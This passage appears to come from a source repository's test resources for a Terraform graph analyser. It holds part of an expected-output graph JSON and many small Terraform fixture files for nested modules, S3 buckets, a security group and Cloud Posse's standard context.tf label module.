\"0\",\n      \"name\": \"bucket2\",\n      \"path\": \"/module3/variable.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        16\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 3,\n        \"__start_line__\": 1,\n        \"type\": [\n          \"string\"\n        ],\n        \"default\": [\n          \"aws_s3_bucket.example.id\"\n        ],\n        \"__address__\": \"module.s3_module.module.inner_s3_module_2.module.inner_s3_module2.bucket2\"\n      },\n      \"block_type\": \"variable\",\n      \"breadcrumbs\": {\n        \"default\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/variable.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"locals\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/main.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module\",\n            \"path\": \"/main.tf\",\n            \"idx\": 4\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module_2\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 10\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"idx\": 17\n          }\n        ]\n      },\n      \"config\": {\n        \"bucket2\": {\n          \"__end_line__\": 3,\n          \"__start_line__\": 1,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module.module.inner_s3_module_2.module.inner_s3_module2.bucket2\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module2/main.tf([{/module/main.tf#*#1([{/main.tf#*#0}])}])\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"bucket2\",\n      \"path\": \"/module3/variable.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        17\n      ]\n    },\n    {\n      \"attributes\": {\n        \"__end_line__\": 3,\n        \"__start_line__\": 1,\n        \"type\": [\n          \"string\"\n        ],\n        \"default\": [\n          \"aws_s3_bucket.example2.id\"\n        ],\n        \"__address__\": \"module.s3_module2.module.inner_s3_module_2.module.inner_s3_module2.bucket2\"\n      },\n      \"block_type\": \"variable\",\n      \"breadcrumbs\": {\n        \"default\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"variable\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/variable.tf\",\n            \"module_connection\": false\n          },\n          {\n            \"type\": \"locals\",\n            \"name\": \"bucket2\",\n            \"path\": \"/module3/main.tf\",\n            \"module_connection\": false\n          }\n        ],\n        \"source_module_\": [\n          {\n            \"type\": \"module\",\n            \"name\": \"s3_module2\",\n            \"path\": \"/main.tf\",\n            \"idx\": 5\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module_2\",\n            \"path\": \"/module/main.tf\",\n            \"idx\": 12\n          },\n          {\n            \"type\": \"module\",\n            \"name\": \"inner_s3_module2\",\n            \"path\": \"/module2/main.tf\",\n            \"idx\": 18\n          }\n        ]\n      },\n      \"config\": {\n        \"bucket2\": {\n          \"__end_line__\": 3,\n          \"__start_line__\": 1,\n          \"type\": [\n            \"string\"\n          ],\n          \"__address__\": \"module.s3_module2.module.inner_s3_module_2.module.inner_s3_module2.bucket2\"\n        }\n      },\n      \"id\": \"\",\n      \"module_connections\": {},\n      \"module_dependency\": \"/module2/main.tf([{/module/main.tf#*#1([{/main.tf#*#1}])}])\",\n      \"module_dependency_num\": \"0\",\n      \"name\": \"bucket2\",\n      \"path\": \"/module3/variable.tf\",\n      \"source\": \"TERRAFORM\",\n      \"source_module\": [\n        18\n      ]\n    }\n  ],\n  \"edges\": [\n    {\n      \"origin\": 0,\n      \"dest\": 1,\n      \"label\": \"bucket\"\n    },\n    {\n      \"origin\": 4,\n      \"dest\": 7,\n      \"label\": \"bucket\"\n    },\n    {\n      \"origin\": 13,\n      \"dest\": 4,\n      \"label\": \"default\"\n    },\n    {\n      \"origin\": 5,\n      \"dest\": 8,\n      \"label\": \"bucket\"\n    },\n    {\n      \"origin\": 14,\n      \"dest\": 5,\n      \"label\": \"default\"\n    },\n    {\n      \"origin\": 9,\n      \"dest\": 13,\n      \"label\": \"bucket2\"\n    },\n    {\n      \"origin\": 19,\n      \"dest\": 9,\n      \"label\": \"default\"\n    },\n    {\n      \"origin\": 10,\n      \"dest\": 13,\n      \"label\": \"bucket2\"\n    },\n    {\n      \"origin\": 21,\n      \"dest\": 10,\n      \"label\": \"default\"\n    },\n    {\n      \"origin\": 11,\n      \"dest\": 14,\n      \"label\": \"bucket2\"\n    },\n    {\n      \"origin\": 20,\n      \"dest\": 11,\n      \"label\": \"default\"\n    },\n    {\n      \"origin\": 12,\n      \"dest\": 14,\n      \"label\": \"bucket2\"\n    },\n    {\n      \"origin\": 22,\n      \"dest\": 12,\n      \"label\": \"default\"\n    },\n    {\n      \"origin\": 15,\n      \"dest\": 19,\n      \"label\": \"bucket2\"\n    },\n    {\n      \"origin\": 34,\n      \"dest\": 15,\n      \"label\": \"default\"\n    },\n    {\n      \"origin\": 16,\n      \"dest\": 20,\n      \"label\": \"bucket2\"\n    },\n    {\n      \"origin\": 35,\n      \"dest\": 16,\n      \"label\": \"default\"\n    },\n    {\n      \"origin\": 17,\n      \"dest\": 21,\n      \"label\": \"bucket2\"\n    },\n    {\n      \"origin\": 36,\n      \"dest\": 17,\n      \"label\": \"default\"\n    },\n    {\n      \"origin\": 18,\n      \"dest\": 22,\n      \"label\": \"bucket2\"\n    },\n    {\n      \"origin\": 37,\n      \"dest\": 18,\n      \"label\": \"default\"\n    },\n    {\n      \"origin\": 23,\n      \"dest\": 33,\n      \"label\": \"bucket2\"\n    },\n    {\n      \"origin\": 24,\n      \"dest\": 23,\n      \"label\": \"bucket\"\n    },\n    {\n      \"origin\": 25,\n      \"dest\": 34,\n      \"label\": \"bucket2\"\n    },\n    {\n      \"origin\": 26,\n      \"dest\": 25,\n      \"label\": \"bucket\"\n    },\n    {\n      \"origin\": 27,\n      \"dest\": 35,\n      \"label\": \"bucket2\"\n    },\n    {\n      \"origin\": 28,\n      \"dest\": 27,\n      \"label\": \"bucket\"\n    },\n    {\n      \"origin\": 29,\n      \"dest\": 36,\n      \"label\": \"bucket2\"\n    },\n    {\n      \"origin\": 30,\n      \"dest\": 29,\n      \"label\": \"bucket\"\n    },\n    {\n      \"origin\": 31,\n      \"dest\": 37,\n      \"label\": \"bucket2\"\n    },\n    {\n      \"origin\": 32,\n      \"dest\": 31,\n      \"label\": \"bucket\"\n    },\n    {\n      \"origin\": 26,\n      \"dest\": 7,\n      \"label\": \"[cross-variable] bucket\"\n    },\n    {\n      \"origin\": 28,\n      \"dest\": 8,\n      \"label\": \"[cross-variable] bucket\"\n    },\n    {\n      \"origin\": 30,\n      \"dest\": 7,\n      \"label\": \"[cross-variable] bucket\"\n    },\n    {\n      \"origin\": 32,\n      \"dest\": 8,\n      \"label\": \"[cross-variable] bucket\"\n    }\n  ]\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/nested_modules_instances/main.tf",
    "content": "provider \"aws\" {\n  region  = \"us-west-2\"\n}\n\nmodule \"s3_module\" {\n  source = \"./module\"\n\n  bucket = aws_s3_bucket.example.id\n}\n\nmodule \"s3_module2\" {\n  source = \"./module\"\n\n  bucket = aws_s3_bucket.example2.id\n}\n\nresource \"aws_s3_bucket\" \"example\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket\" \"example2\" {\n  bucket = \"example\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules/nested_modules_instances/module/main.tf",
    "content": "module \"inner_s3_module\" {\n  source = \"../module2\"\n  bucket2 = var.bucket\n}\n\nmodule \"inner_s3_module_2\" {\n  source = \"../module2\"\n  bucket2 = var.bucket\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules/nested_modules_instances/module/variable.tf",
    "content": "variable \"bucket\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/nested_modules_instances/module2/main.tf",
    "content": "module \"inner_s3_module2\" {\n  source = \"../module3\"\n  bucket2 = var.bucket2\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules/nested_modules_instances/module2/variable.tf",
    "content": "variable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/nested_modules_instances/module3/main.tf",
    "content": "locals {\n  bucket2 = var.bucket2\n}\n\nresource \"aws_s3_bucket\" \"var_bucket\" {\n  bucket                  = local.bucket2\n  block_public_acls       = true\n  block_public_policy     = true\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules/nested_modules_instances/module3/variable.tf",
    "content": "variable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/registry_security_group_inner_module/main.tf",
    "content": "module \"web_server_sg\" {\n  source = \"terraform-aws-modules/security-group/aws//modules/http-80\"\n\n  name        = \"web-server\"\n  description = \"Security group for web-server with HTTP ports open within VPC\"\n  vpc_id      = \"vpc-12345678\"\n\n  ingress_cidr_blocks = [\"10.10.0.0/16\"]\n}\n\nresource \"aws_flow_log\" \"related_flow_log\" {\n  traffic_type = \"\"\n  vpc_id = module.web_server_sg.security_group_vpc_id\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/s3_inner_modules/inner/main.tf",
    "content": "resource \"aws_s3_bucket\" \"inner_s3\" {\n  bucket = \"tf-test-bucket-destination-12345\"\n  acl = \"\"\n  versioning {\n    enabled = var.versioning\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/s3_inner_modules/inner/variables.tf",
    "content": "variable \"versioning\" {\n  default = false\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/s3_inner_modules/main.tf",
    "content": "module \"inner_module_call\" {\n  source = \"./inner\"\n  versioning = var.versioning\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/s3_inner_modules/variables.tf",
    "content": "variable \"versioning\" {\n  default = false\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/same_var_names/main.tf",
    "content": "variable \"v\" {\n  default = true\n}\n\nmodule \"module1\" {\n  source = \"./module1\"\n  v = var.v\n}\n\nmodule \"module2\" {\n  source = \"./module2\"\n  v = var.v\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/same_var_names/module1/main.tf",
    "content": "module \"submodule1\" {\n  source = \"../submodule1\"\n  v = var.v\n}\n\nmodule \"submodule2\" {\n  source = \"../submodule2\"\n  v = var.v\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/same_var_names/module1/variables.tf",
    "content": "variable \"v\" {\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/same_var_names/module2/main.tf",
    "content": "module \"submodule1\" {\n  source = \"../submodule1\"\n  v = var.v\n}\n\nmodule \"submodule2\" {\n  source = \"../submodule2\"\n  v = var.v\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/same_var_names/module2/variables.tf",
    "content": "variable \"v\" {\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/same_var_names/submodule1/variables.tf",
    "content": "variable \"v\" {\n  type = bool\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/same_var_names/submodule2/variables.tf",
    "content": "variable \"v\" {\n  type = bool\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/stacks/prod/main.tf",
    "content": "module \"sub-module\" {\n  source = \"./sub-prod\"\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/stacks/prod/sub-prod/main.tf",
    "content": "module \"s3\" {\n  source = \"../../../s3_inner_modules\"\n  versioning = true\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/stacks/stage/main.tf",
    "content": "module \"s3\" {\n  source = \"../../s3_inner_modules\"\n  versioning = true\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/stacks/test/main.tf",
    "content": "module \"s3\" {\n  source = \"../../s3_inner_modules\"\n  versioning = false\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/violation_example/main.tf",
    "content": "module \"learn_terraform\" {\n  source = \"https://github.com/hashicorp/learn-terraform-provision-eks-cluster.git\"\n  version = \"1.16.0\"\n\n  name        = \"s3-bucket\"\n}\n\nresource \"aws_s3_bucket\" \"destination\" {\n  bucket = \"tf-test-bucket-destination-12345\"\n  versioning {\n    enabled = var.enabled\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/violation_example/variables.tf",
    "content": "variable \"enabled\" {\n  default = module.learn_terraform.region == \"something to produce false\" ? true : false\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules-and-vars/context.tf",
    "content": "#\n# ONLY EDIT THIS FILE IN github.com/cloudposse/terraform-null-label\n# All other instances of this file should be a copy of that one\n#\n#\n# Copy this file from https://github.com/cloudposse/terraform-null-label/blob/master/exports/context.tf\n# and then place it in your Terraform module to automatically get\n# Cloud Posse's standard configuration inputs suitable for passing\n# to Cloud Posse modules.\n#\n# Modules should access the whole context as `module.this.context`\n# to get the input variables with nulls for defaults,\n# for example `context = module.this.context`,\n# and access individual variables as `module.this.<var>`,\n# with final values filled in.\n#\n# For example, when using defaults, `module.this.context.delimiter`\n# will be null, and `module.this.delimiter` will be `-` (hyphen).\n#\n\nmodule \"this\" {\n  source = \"git::https://github.com/cloudposse/terraform-null-label.git?ref=tags/0.19.2\"\n\n  enabled             = var.enabled\n  namespace           = var.namespace\n  environment         = var.environment\n  stage               = var.stage\n  name                = var.name\n  delimiter           = var.delimiter\n  attributes          = var.attributes\n  tags                = var.tags\n  additional_tag_map  = var.additional_tag_map\n  label_order         = var.label_order\n  regex_replace_chars = var.regex_replace_chars\n  id_length_limit     = var.id_length_limit\n\n  context = var.context\n}\n\n# Copy contents of cloudposse/terraform-null-label/variables.tf here\n\nvariable \"context\" {\n  type = object({\n    enabled             = bool\n    namespace           = string\n    environment         = string\n    stage               = string\n    name                = string\n    delimiter           = string\n    attributes          = list(string)\n    tags                = map(string)\n    additional_tag_map  = map(string)\n    regex_replace_chars = string\n    label_order         = list(string)\n    id_length_limit     = number\n  })\n  default = {\n    enabled             = true\n    namespace           = null\n    environment         = null\n    stage               = null\n    name                = null\n    delimiter           = null\n    attributes          = []\n    tags                = {}\n    additional_tag_map  = {}\n    regex_replace_chars = null\n    label_order         = []\n    id_length_limit     = null\n  }\n  description = <<-EOT\n    Single object for setting entire context at once.\n    See description of individual variables for details.\n    Leave string and numeric variables as `null` to use default value.\n    Individual variable settings (non-null) override settings in context object,\n    except for attributes, tags, and additional_tag_map, which are merged.\n  EOT\n}\n\nvariable \"enabled\" {\n  type        = bool\n  default     = null\n  description = \"Set to false to prevent the module from creating any resources\"\n}\n\nvariable \"namespace\" {\n  type        = string\n  default     = null\n  description = \"Namespace, which could be your organization name or abbreviation, e.g. 'eg' or 'cp'\"\n}\n\nvariable \"environment\" {\n  type        = string\n  default     = null\n  description = \"Environment, e.g. 'uw2', 'us-west-2', OR 'prod', 'staging', 'dev', 'UAT'\"\n}\n\nvariable \"stage\" {\n  type        = string\n  default     = null\n  description = \"Stage, e.g. 'prod', 'staging', 'dev', OR 'source', 'build', 'test', 'deploy', 'release'\"\n}\n\nvariable \"name\" {\n  type        = string\n  default     = null\n  description = \"Solution name, e.g. 'app' or 'jenkins'\"\n}\n\nvariable \"delimiter\" {\n  type        = string\n  default     = null\n  description = <<-EOT\n    Delimiter to be used between `namespace`, `environment`, `stage`, `name` and `attributes`.\n    Defaults to `-` (hyphen). Set to `\"\"` to use no delimiter at all.\n  EOT\n}\n\nvariable \"attributes\" {\n  type        = list(string)\n  default     = []\n  description = \"Additional attributes (e.g. `1`)\"\n}\n\nvariable \"tags\" {\n  type        = map(string)\n  default     = {}\n  description = \"Additional tags (e.g. `map('BusinessUnit','XYZ')`\"\n}\n\nvariable \"additional_tag_map\" {\n  type        = map(string)\n  default     = {}\n  description = \"Additional tags for appending to tags_as_list_of_maps. Not added to `tags`.\"\n}\n\nvariable \"label_order\" {\n  type        = list(string)\n  default     = null\n  description = <<-EOT\n    The naming order of the id output and Name tag.\n    Defaults to [\"namespace\", \"environment\", \"stage\", \"name\", \"attributes\"].\n    You can omit any of the 5 elements, but at least one must be present.\n  EOT\n}\n\nvariable \"regex_replace_chars\" {\n  type        = string\n  default     = null\n  description = <<-EOT\n    Regex to replace chars with empty string in `namespace`, `environment`, `stage` and `name`.\n    If not set, `\"/[^a-zA-Z0-9-]/\"` is used to remove all characters other than hyphens, letters and digits.\n  EOT\n}\n\nvariable \"id_length_limit\" {\n  type        = number\n  default     = null\n  description = <<-EOT\n    Limit `id` to this many characters.\n    Set to `0` for unlimited length.\n    Set to `null` for default, which is `0`.\n    Does not affect `id_full`.\n  EOT\n}\n\n#### End of copy of cloudposse/terraform-null-label/variables.tf\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules-and-vars/examples/complete/context.tf",
    "content": "#\n# ONLY EDIT THIS FILE IN github.com/cloudposse/terraform-null-label\n# All other instances of this file should be a copy of that one\n#\n#\n# Copy this file from https://github.com/cloudposse/terraform-null-label/blob/master/exports/context.tf\n# and then place it in your Terraform module to automatically get\n# Cloud Posse's standard configuration inputs suitable for passing\n# to Cloud Posse modules.\n#\n# Modules should access the whole context as `module.this.context`\n# to get the input variables with nulls for defaults,\n# for example `context = module.this.context`,\n# and access individual variables as `module.this.<var>`,\n# with final values filled in.\n#\n# For example, when using defaults, `module.this.context.delimiter`\n# will be null, and `module.this.delimiter` will be `-` (hyphen).\n#\n\nmodule \"this\" {\n  source = \"git::https://github.com/cloudposse/terraform-null-label.git?ref=tags/0.19.2\"\n\n  enabled             = var.enabled\n  namespace           = var.namespace\n  environment         = var.environment\n  stage               = var.stage\n  name                = var.name\n  delimiter           = var.delimiter\n  attributes          = var.attributes\n  tags                = var.tags\n  additional_tag_map  = var.additional_tag_map\n  label_order         = var.label_order\n  regex_replace_chars = var.regex_replace_chars\n  id_length_limit     = var.id_length_limit\n\n  context = var.context\n}\n\n# Copy contents of cloudposse/terraform-null-label/variables.tf here\n\nvariable \"context\" {\n  type = object({\n    enabled             = bool\n    namespace           = string\n    environment         = string\n    stage               = string\n    name                = string\n    delimiter           = string\n    attributes          = list(string)\n    tags                = map(string)\n    additional_tag_map  = map(string)\n    regex_replace_chars = string\n    label_order         = list(string)\n    id_length_limit     = number\n  })\n  default = {\n    enabled             = true\n    namespace           = null\n    environment         = null\n    stage               = null\n    name                = null\n    delimiter           = null\n    attributes          = []\n    tags                = {}\n    additional_tag_map  = {}\n    regex_replace_chars = null\n    label_order         = []\n    id_length_limit     = null\n  }\n  description = <<-EOT\n    Single object for setting entire context at once.\n    See description of individual variables for details.\n    Leave string and numeric variables as `null` to use default value.\n    Individual variable settings (non-null) override settings in context object,\n    except for attributes, tags, and additional_tag_map, which are merged.\n  EOT\n}\n\nvariable \"enabled\" {\n  type        = bool\n  default     = null\n  description = \"Set to false to prevent the module from creating any resources\"\n}\n\nvariable \"namespace\" {\n  type        = string\n  default     = null\n  description = \"Namespace, which could be your organization name or abbreviation, e.g. 'eg' or 'cp'\"\n}\n\nvariable \"environment\" {\n  type        = string\n  default     = null\n  description = \"Environment, e.g. 'uw2', 'us-west-2', OR 'prod', 'staging', 'dev', 'UAT'\"\n}\n\nvariable \"stage\" {\n  type        = string\n  default     = null\n  description = \"Stage, e.g. 'prod', 'staging', 'dev', OR 'source', 'build', 'test', 'deploy', 'release'\"\n}\n\nvariable \"name\" {\n  type        = string\n  default     = null\n  description = \"Solution name, e.g. 'app' or 'jenkins'\"\n}\n\nvariable \"delimiter\" {\n  type        = string\n  default     = null\n  description = <<-EOT\n    Delimiter to be used between `namespace`, `environment`, `stage`, `name` and `attributes`.\n    Defaults to `-` (hyphen). Set to `\"\"` to use no delimiter at all.\n  EOT\n}\n\nvariable \"attributes\" {\n  type        = list(string)\n  default     = []\n  description = \"Additional attributes (e.g. `1`)\"\n}\n\nvariable \"tags\" {\n  type        = map(string)\n  default     = {}\n  description = \"Additional tags (e.g. `map('BusinessUnit','XYZ')`\"\n}\n\nvariable \"additional_tag_map\" {\n  type        = map(string)\n  default     = {}\n  description = \"Additional tags for appending to tags_as_list_of_maps. Not added to `tags`.\"\n}\n\nvariable \"label_order\" {\n  type        = list(string)\n  default     = null\n  description = <<-EOT\n    The naming order of the id output and Name tag.\n    Defaults to [\"namespace\", \"environment\", \"stage\", \"name\", \"attributes\"].\n    You can omit any of the 5 elements, but at least one must be present.\n  EOT\n}\n\nvariable \"regex_replace_chars\" {\n  type        = string\n  default     = null\n  description = <<-EOT\n    Regex to replace chars with empty string in `namespace`, `environment`, `stage` and `name`.\n    If not set, `\"/[^a-zA-Z0-9-]/\"` is used to remove all characters other than hyphens, letters and digits.\n  EOT\n}\n\nvariable \"id_length_limit\" {\n  type        = number\n  default     = null\n  description = <<-EOT\n    Limit `id` to this many characters.\n    Set to `0` for unlimited length.\n    Set to `null` for default, which is `0`.\n    Does not affect `id_full`.\n  EOT\n}\n\n#### End of copy of cloudposse/terraform-null-label/variables.tf\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules-and-vars/examples/complete/main.tf",
    "content": "provider \"aws\" {\n  region = var.region\n}\n\nmodule \"s3_bucket\" {\n  source = \"../..\"\n\n  user_enabled                 = true\n  acl                          = var.acl\n  force_destroy                = var.force_destroy\n  grants                       = var.grants\n  versioning_enabled           = var.versioning_enabled\n  allow_encrypted_uploads_only = var.allow_encrypted_uploads_only\n  allowed_bucket_actions       = var.allowed_bucket_actions\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules-and-vars/examples/complete/outputs.tf",
    "content": "output \"bucket_domain_name\" {\n  value       = module.s3_bucket.bucket_domain_name\n  description = \"FQDN of bucket\"\n}\n\noutput \"bucket_id\" {\n  value       = module.s3_bucket.bucket_id\n  description = \"Bucket Name (aka ID)\"\n}\n\noutput \"bucket_arn\" {\n  value       = module.s3_bucket.bucket_arn\n  description = \"Bucket ARN\"\n}\n\noutput \"bucket_region\" {\n  value       = module.s3_bucket.bucket_region\n  description = \"Bucket region\"\n}\n\noutput \"user_name\" {\n  value       = module.s3_bucket.user_name\n  description = \"Normalized IAM user name\"\n}\n\noutput \"user_arn\" {\n  value       = module.s3_bucket.user_arn\n  description = \"The ARN assigned by AWS for the user\"\n}\n\noutput \"user_unique_id\" {\n  value       = module.s3_bucket.user_unique_id\n  description = \"The user unique ID assigned by AWS\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules-and-vars/examples/complete/variables.tf",
    "content": "variable \"acl\" {\n  type        = string\n  default     = \"private\"\n  description = \"The [canned ACL](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl) to apply. We recommend `private` to avoid exposing sensitive information. Conflicts with `grants`.\"\n}\n\nvariable \"grants\" {\n  type = list(object({\n    id          = string\n    type        = string\n    permissions = list(string)\n    uri         = string\n  }))\n  default = null\n\n  description = \"A list of ACL policy grants. Conflicts with `acl`. Set `acl` to `null` to use this.\"\n}\n\nvariable \"policy\" {\n  type        = string\n  default     = \"\"\n  description = \"A valid bucket policy JSON document. Note that if the policy document is not specific enough (but still valid), Terraform may view the policy as constantly changing in a terraform plan. In this case, please make sure you use the verbose/specific version of the policy\"\n}\n\nvariable \"region\" {\n  type        = string\n  default     = \"\"\n  description = \"If specified, the AWS region this bucket should reside in. Otherwise, the region used by the callee\"\n}\n\nvariable \"force_destroy\" {\n  type        = bool\n  default     = false\n  description = \"A boolean string that indicates all objects should be deleted from the bucket so that the bucket can be destroyed without error. These objects are not recoverable\"\n}\n\nvariable \"versioning_enabled\" {\n  type        = bool\n  default     = false\n  description = \"A state of versioning. Versioning is a means of keeping multiple variants of an object in the same bucket\"\n}\n\nvariable \"sse_algorithm\" {\n  type        = string\n  default     = \"AES256\"\n  description = \"The server-side encryption algorithm to use. Valid values are `AES256` and `aws:kms`\"\n}\n\nvariable \"kms_master_key_arn\" {\n  type        = string\n  default     = \"\"\n  description = \"The AWS KMS master key ARN used for the `SSE-KMS` encryption. This can only be used when you set the value of `sse_algorithm` as `aws:kms`. The default aws/s3 AWS KMS master key is used if this element is absent while the `sse_algorithm` is `aws:kms`\"\n}\n\nvariable \"user_enabled\" {\n  type        = bool\n  default     = false\n  description = \"Set to `true` to create an IAM user with permission to access the bucket\"\n}\n\nvariable \"allowed_bucket_actions\" {\n  type        = list(string)\n  default     = [\"s3:PutObject\", \"s3:PutObjectAcl\", \"s3:GetObject\", \"s3:DeleteObject\", \"s3:ListBucket\", \"s3:ListBucketMultipartUploads\", \"s3:GetBucketLocation\", \"s3:AbortMultipartUpload\"]\n  description = \"List of actions the user is permitted to perform on the S3 bucket\"\n}\n\nvariable \"allow_encrypted_uploads_only\" {\n  type        = bool\n  default     = false\n  description = \"Set to `true` to prevent uploads of unencrypted objects to S3 bucket\"\n}\n\nvariable \"lifecycle_rule_enabled\" {\n  type        = bool\n  default     = false\n  description = \"Enable or disable lifecycle rule\"\n}\n\nvariable \"prefix\" {\n  type        = string\n  default     = \"\"\n  description = \"Prefix identifying one or more objects to which the rule applies\"\n}\n\nvariable \"noncurrent_version_transition_days\" {\n  type        = number\n  default     = 30\n  description = \"Number of days to persist in the standard storage tier before moving to the glacier tier infrequent access tier\"\n}\n\nvariable \"noncurrent_version_expiration_days\" {\n  type        = number\n  default     = 90\n  description = \"Specifies when noncurrent object versions expire\"\n}\n\nvariable \"cors_rule_inputs\" {\n  type = list(object({\n    allowed_headers = list(string)\n    allowed_methods = list(string)\n    allowed_origins = list(string)\n    expose_headers  = list(string)\n    max_age_seconds = number\n  }))\n  default = null\n\n  description = \"Specifies the allowed headers, methods, origins and exposed headers when using CORS on this bucket\"\n}\n\nvariable \"standard_transition_days\" {\n  type        = number\n  default     = 30\n  description = \"Number of days to persist in the standard storage tier before moving to the infrequent access tier\"\n}\n\nvariable \"glacier_transition_days\" {\n  type        = number\n  default     = 60\n  description = \"Number of days after which to move the data to the glacier storage tier\"\n}\n\nvariable \"enable_glacier_transition\" {\n  type        = bool\n  default     = true\n  description = \"Enables the transition to AWS Glacier which can cause unnecessary costs for huge amount of small files\"\n}\n\nvariable \"enable_standard_ia_transition\" {\n  type        = bool\n  default     = false\n  description = \"Enables the transition to STANDARD_IA\"\n}\n\nvariable \"expiration_days\" {\n  type        = number\n  default     = 90\n  description = \"Number of days after which to expunge the objects\"\n}\n\nvariable \"abort_incomplete_multipart_upload_days\" {\n  type        = number\n  default     = 5\n  description = \"Maximum time (in days) that you want to allow multipart uploads to remain in progress\"\n}\n\nvariable \"lifecycle_tags\" {\n  type        = map(string)\n  description = \"Tags filter. Used to manage object lifecycle events\"\n  default     = {}\n}\n\nvariable \"block_public_acls\" {\n  type        = bool\n  default     = true\n  description = \"Set to `false` to disable the blocking of new public access lists on the bucket\"\n}\n\nvariable \"block_public_policy\" {\n  type        = bool\n  default     = true\n  description = \"Set to `false` to disable the blocking of new public policies on the bucket\"\n}\n\nvariable \"ignore_public_acls\" {\n  type        = bool\n  default     = true\n  description = \"Set to `false` to disable the ignoring of public access lists on the bucket\"\n}\n\nvariable \"restrict_public_buckets\" {\n  type        = bool\n  default     = true\n  description = \"Set to `false` to disable the restricting of making the bucket public\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules-and-vars/main.tf",
    "content": "resource \"aws_s3_bucket\" \"default\" {\n  count         = module.this.enabled ? 1 : 0\n  bucket        = module.this.id\n  acl           = try(length(var.grants), 0) == 0 ? var.acl : null\n  force_destroy = var.force_destroy\n  policy        = var.policy\n  tags          = module.this.tags\n\n  versioning {\n    enabled = var.versioning_enabled\n  }\n\n  lifecycle_rule {\n    id                                     = module.this.id\n    enabled                                = var.lifecycle_rule_enabled\n    prefix                                 = var.prefix\n    tags                                   = var.lifecycle_tags\n    abort_incomplete_multipart_upload_days = var.abort_incomplete_multipart_upload_days\n\n    noncurrent_version_expiration {\n      days = var.noncurrent_version_expiration_days\n    }\n\n    dynamic \"noncurrent_version_transition\" {\n      for_each = var.enable_glacier_transition ? [1] : []\n\n      content {\n        days          = var.noncurrent_version_transition_days\n        storage_class = \"GLACIER\"\n      }\n    }\n\n    dynamic \"transition\" {\n      for_each = var.enable_glacier_transition ? [1] : []\n\n      content {\n        days          = var.glacier_transition_days\n        storage_class = \"GLACIER\"\n      }\n    }\n\n    dynamic \"transition\" {\n      for_each = var.enable_standard_ia_transition ? [1] : []\n\n      content {\n        days          = var.standard_transition_days\n        storage_class = \"STANDARD_IA\"\n      }\n    }\n\n    expiration {\n      days = var.expiration_days\n    }\n  }\n\n  dynamic \"logging\" {\n    for_each = var.logging == null ? [] : [1]\n    content {\n      target_bucket = var.logging[\"bucket_name\"]\n      target_prefix = var.logging[\"prefix\"]\n    }\n  }\n\n  # https://docs.aws.amazon.com/AmazonS3/latest/dev/bucket-encryption.html\n  # https://www.terraform.io/docs/providers/aws/r/s3_bucket.html#enable-default-server-side-encryption\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        sse_algorithm     = var.sse_algorithm\n        kms_master_key_id = var.kms_master_key_arn\n      }\n    }\n  }\n\n  dynamic \"cors_rule\" {\n    for_each = var.cors_rule_inputs == null ? [] : var.cors_rule_inputs\n\n    content {\n      allowed_headers = cors_rule.value.allowed_headers\n      allowed_methods = cors_rule.value.allowed_methods\n      allowed_origins = cors_rule.value.allowed_origins\n      expose_headers  = 